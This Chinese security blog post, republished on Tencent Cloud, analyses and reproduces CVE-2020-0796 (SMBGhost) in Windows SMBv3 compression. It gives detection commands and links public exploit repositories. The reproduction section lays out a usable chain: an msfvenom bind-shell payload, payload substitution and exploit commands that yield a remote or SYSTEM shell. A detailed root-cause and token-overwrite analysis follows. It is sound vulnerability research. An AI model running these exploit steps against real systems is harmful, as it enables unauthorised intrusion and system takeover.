前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CVE-2020-0796分析及利用

CVE-2020-0796分析及利用

作者头像
红队蓝军
发布2024-08-06 12:22:05
990
发布2024-08-06 12:22:05
举报
文章被收录于专栏:红队蓝军

本文为永恒之黑 CVE-2020-0796 的分析及漏洞利用。

环境搭建

下载并安装w10 1909版本,iso如下:

https://news.mydrivers.com/1/658/658025.htm

安装好如下图所示,版本为1909

影响范围

代码语言:javascript
复制
Windows 10 Version 1903 for 32-bit Systems  
Windows 10 Version 1903 for x64-based Systems  
Windows 10 Version 1903 for ARM64-based Systems  
Windows Server, Version 1903 (Server Core installation)  
Windows 10 Version 1909 for 32-bit Systems  
Windows 10 Version 1909 for x64-based Systems  
Windows 10 Version 1909 for ARM64-based Systems  
Windows Server, Version 1909 (Server Core installation)

只影响 SMB v3.1.1,1903和1909

漏洞检测

Ladon:

代码语言:javascript
复制
Ladon 192.168.10.17 SMBGhost

奇安信exe:

http://dl.qianxin.com/skylar6/CVE-2020-0796-Scanner.zip

漏洞复现

本地提权poc:

使用exp:https://github.com/chompie1337/SMBGhost_RCE_PoC

本地普通用户Bypass执行提权exp后弹出cmd窗口,成功获取system权限。

蓝屏poc:

https://github.com/eerykitty/CVE-2020-0796-PoC

代码语言:javascript
复制
python3 CVE-2020-0796.py 192.168.10.17

远程利用poc:

https://github.com/chompie1337/SMBGhost_RCE_PoC

使用msf生成payload

代码语言:javascript
复制
msfvenom -p windows/x64/meterpreter/bind_tcp lport=1234 -f py -o evil.py

复制py里的payload

找到exp里面的payload进行替换

再把buf替换为USER_PAYLOAD

msf开启监听端口

运行py

代码语言:javascript
复制
python exploit.py -ip 192.168.10.17

回车即可拿到shell

漏洞原理

CVE-2020-0796漏洞存在于受影响版本的Windows驱动srv2.sys中。Windows SMB v3.1.1 版本增加了对压缩数据的支持。图2所示为带压缩数据的SMB数据报文的构成。

根据微软MS-SMB2协议文档,SMB Compression Transform Header的结构如图3所示。

代码语言:javascript
复制
-   ProtocolId :4字节,固定为0x424D53FC

-   OriginalComressedSegmentSize :4字节,原始的未压缩数据大小

-   CompressionAlgorithm :2字节,压缩算法

-   Flags :2字节,详见协议文档

-   Offset/Length :根据Flags的取值为Offset或者Length,Offset表示数据包中压缩数据相对于当前结构的偏移

srv2.sys中处理SMBv3压缩数据包的解压函数Srv2DecompressData``未严格校验数据包中OriginalCompressedSegmentSize和Offset/Length字段的合法性。而这两个字段影响了Srv2DecompressData中内存分配函数SrvNetAllocateBuffer的参数。如图4所示的Srv2DecompressData函数反编译代码,SrvNetAllocateBuffer实际的参数为OriginalCompressedSegmentSize+Offset。这两个参数都直接来源于数据包中SMB Compression Transform Header中的字段,而函数并未判断这两个字段是否合法,就直接将其相加后作为内存分配的参数(unsigned int类型)。

这里,OriginalCompressedSegmentSize+Offset可能小于实际需要分配的内存大小,从而在后续调用解压函数SmbCompressionDecompress过程中存在越界读取或者写入的风险。

提权利用过程

目前已公开的针对该漏洞的本地提权利用包含如下的主要过程:

  1. 验证程序首先创建到SMS server的会话连接(记为session)。
  2. 验证程序获取自身token数据结构中privilege成员在内核中的地址(记tokenAddr)。
  3. 验证程序通过session发送畸形压缩数据(记为evilData)给SMB server触发漏洞。其中,evilData包含tokenAddr、权限数据、溢出占位数据。
  4. SMS server收到evilData后触发漏洞,并修改tokenAddr地址处的权限数据,从而提升验证程序的权限。
  5. 验证程序获取权限后对winlogon进行控制,来创建system用户shell。

漏洞内存分配分析

首先,看一下已公开利用的evilData数据包的内容:

数据包的内容很简单,其中几个关键字段数据如下:

  1. OriginalSize :0xffffffff
  2. Offset :0x10
  3. Real compressed data :13字节的压缩数据,解压后应为1108字节’A’加8字节的token地址。
  4. SMB3 raw data :实际上是由2个8字节的0x1FF2FFFFBC(总长0x10)加上0x13字节的压缩数据组成

从上面的漏洞原理分析可知,漏洞成因是Srv2DecompressData函数对报文字段缺乏合法性判断造成内存分配不当。在该漏洞数据包中,OriginalSize是一个畸形值。OriginalSize + Offset = 0xffffffff + 0x10 = 0xf 是一个很小的值,其将会传递给SrvNetAllocateBuffer进行调用,下面具体分析内存分配情况。SrvNetAllocateBuffe的反编译代码如图6。

由于传给SrvNetAllocateBuffer的参数为0xf,根据SrvNetAllocateBuffer的处理流程可知,该请求内存将从SrvNetBufferLookasides表中分配。这里需要注意的是,变量SrvDisableNetBufferLookAsideList跟注册表项相关,系统默认状态下SrvDisableNetBufferLookAsideList为0。

SrvNetBufferLookasides表通过函数SrvNetCreateBuffer初始化,实际SrvNetCreateBuffer循环调用了SrvNetBufferLookasideAllocate分配内存,调用SrvNetBufferLookasideAllocate的参数分别为[‘0x1100’, ‘0x2100’, ‘0x4100’, ‘0x8100’, ‘0x10100’, ‘0x20100’, ‘0x40100’, ‘0x80100’, ‘0x100100’]。在这里,内存分配参数为0xf,对应的lookaside表为0x1100大小的表项。

SrvNetBufferLookasideAllocate函数实际是调用SrvNetAllocateBufferFromPool来分配内存,如图9所示。

在函数SrvNetAllocateBufferFromPool中,对于用户请求的内存分配大小,内部通过ExAllocatePoolWithTag函数分配的内存实际要大于请求值(多出部分用于存储部分内存相关数据结构)。以请求分配0x1100大小为例,经过一系列判断后,最后分配的内存大小allocate_size = 0x1100 + E8 + 2*(MmSizeOfMdl + 8)。

内存分配完毕之后,SrvNetAllocateBufferFromPool函数还对分配的内存进行了一系列初始化操作,最后返回了一个内存信息结构体指针作为函数的返回值。

这里需要注意如下的数据关系:SrvNetAllocateBufferFromPool函数返回值return_buffer指向一个内存数据结构,该内存数据结构起始地址同实际分配内存(函数ExAllocatePoolWithTag分配的内存)起始地址的的偏移为0x1150;return_buffer+0x18位置指向了实际分配内存起始地址偏移0x50位置处,而最终return_buffer会作为函数SrvNetAllocateBuffer的返回值。

漏洞内存破坏分析

回到漏洞解压函数Srv2DecompressData,在进行内存分配之后,Srv2DecompressData调用函数SmbCompressionDecompress开始解压被压缩的数据。

实际上,该函数调用了Windows库函数RtlDecompressBufferEx2来实现解压,根据RtlDecompressBufferEx2``的函数原型来对应分析SmbCompressionDecompress函数的各个参数。

  1. SmbCompressionDecompress(CompressAlgo,//压缩算法
  2. Compressed_buf,//指向数据包中的压缩数据
  3. Compressed_size,//数据包中压缩数据大小,计算得到
  4. UnCompressedBuf,//解压后的数据存储地址,(alloc_buffer+0x18)+0x10
  5. UnCompressedSize,//压缩数据原始大小,源于数据包OriginalCompressedSegmentSize
  6. FinalUnCompressedSize)//最终解压后数据大小

从反编译代码可以看出,函数SmbCompressionDecompress中保存解压后数据的地址为(alloc_buffer+0x18)+0x10的位置,根据内存分配过程分析,alloc_buffer + 0x18指向了实际内存分配起始位置偏移0x50处,所以拷贝目的地址为实际内存分配起始地址偏移0x60位置处。

在解压过程中,压缩数据解压后将存储到这个地址指向的内存中。根据evilData数据的构造过程,解压后的数据为占坑数据和tokenAddr。拷贝到该处地址后,tokenAddr将覆盖原内存数据结构中alloc_buffer+0x18处的数据。也就是解压缩函数SmbCompressionDecompress返回后,alloc_buffer+0x18将指向验证程序的tokenAddr内核地址。

继续看Srv2DecompressData的后续处理流程,解压成功后,函数判断offset的结果不为0。不为0则进行内存移动,内存拷贝的参数如下:

代码语言:javascript
复制
memmove((alloc_buffer+0x18),SMB_payload,offset)

此时alloc_buffer+0x18已经指向验证程序的tokenAddr内核地址,而SMB_payload此时指向evilData中的权限数据,offset则为0x10。因此,这个内存移动完成后,权限数据将写入tokenAddr处。这意味着,SMS Server成功修改了验证程序的权限,从而实现了验证程序的提权!

还有一个细节需要注意,在解压时,Srv2DecompressData函数会判断实际的解压后数据大小FinalUnCompressedSize是否和数据包中原始数据大小OriginalCompressedSegmentSize一致。

按理来说实际解压后的数据大小为0x1100,不等于数据包中的原始压缩数据大小0xffffffff,这里应该进入到后面内存释放的流程。然而,实际上在函数SmbCompressionDecompress中,调用RtlDecompressBufferEx2成功后会直接将OriginalCompressedSegmentSize赋值给FinalUnCompressedSize。这也是该漏洞关于任意地址写入成功的关键之一。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-08-05,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 红队蓝军 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 影响范围
  • 漏洞检测
  • 漏洞复现
  • 漏洞原理
    • 漏洞内存破坏分析
    相关产品与服务
    脆弱性检测服务
    脆弱性检测服务(Vulnerability detection Service,VDS)在理解客户实际需求的情况下,制定符合企业规模的漏洞扫描方案。通过漏洞扫描器对客户指定的计算机系统、网络组件、应用程序进行全面的漏洞检测服务,由腾讯云安全专家对扫描结果进行解读,为您提供专业的漏洞修复建议和指导服务,有效地降低企业资产安全风险。
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档